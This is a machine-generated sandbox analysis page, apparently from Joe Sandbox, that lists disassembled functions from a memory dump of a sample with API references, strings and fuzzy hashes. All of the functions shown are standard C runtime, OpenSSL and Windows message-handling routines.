Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789ABCDEF, xrefs: 004574D6
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
, xrefs: 00457482
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: f4c69a70138d13d529c748345770976310cf81374b45ffcda2b41016945d7593
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: f4c69a70138d13d529c748345770976310cf81374b45ffcda2b41016945d7593
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
error:%08lX:%s:%s:%s, xrefs: 00450792
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 6565f3eeb2dc9c0597fd8b1228d76a5755e5e4a7eea90c3f78218ec856ed93f0
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 6565f3eeb2dc9c0597fd8b1228d76a5755e5e4a7eea90c3f78218ec856ed93f0
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A9F, 00422A44, 00422AB8, 00422A3A, 00422A87

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: 831f885baa0b0b306a480c885f66a9912c2222caa36f4c1f8a326454b90453d8
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: 831f885baa0b0b306a480c885f66a9912c2222caa36f4c1f8a326454b90453d8
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: 467c97ece6d0031ab4d1c230b49585d3b36037d59b525b759c5d798a77422e4e
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: 467c97ece6d0031ab4d1c230b49585d3b36037d59b525b759c5d798a77422e4e
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
